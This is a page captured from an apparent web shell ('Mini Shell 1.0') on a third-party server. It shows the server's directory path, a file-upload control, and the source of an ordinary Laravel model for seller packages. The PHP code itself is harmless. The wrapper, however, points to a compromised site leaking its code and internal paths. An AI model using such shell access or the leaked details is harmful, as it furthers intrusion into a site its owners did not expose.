HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/app/Models/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Models/SellerPackage.php
<?php

namespace App\Models;

use App;
use Illuminate\Database\Eloquent\Model;

/**
 * @property int $id
 * @property string $name
 * @property double $amount
 * @property int $product_upload_limit
 * @property string $logo
 * @property int $duration
 * */
class SellerPackage extends Model {
    protected $fillable = [
        'name',
        'amount',
        'product_upload_limit',
        'logo',
        'duration'
    ];

    protected $guarded = [];

    public function getTranslation($field = '', $lang = false) {
        $lang = $lang == false ? App::getLocale() : $lang;
        $seller_package_translation = $this->hasMany(SellerPackageTranslation::class)->where('lang', $lang)->first();
        return $seller_package_translation != null ? $seller_package_translation->$field : $this->$field;
    }

    public function seller_package_translations() {
        return $this->hasMany(SellerPackageTranslation::class);
    }

    public function seller_package_payments() {
        return $this->hasMany(SelllerPackagePayment::class);
    }

    public function shop() {
        return $this->hasOne(Shop::class);
    }
}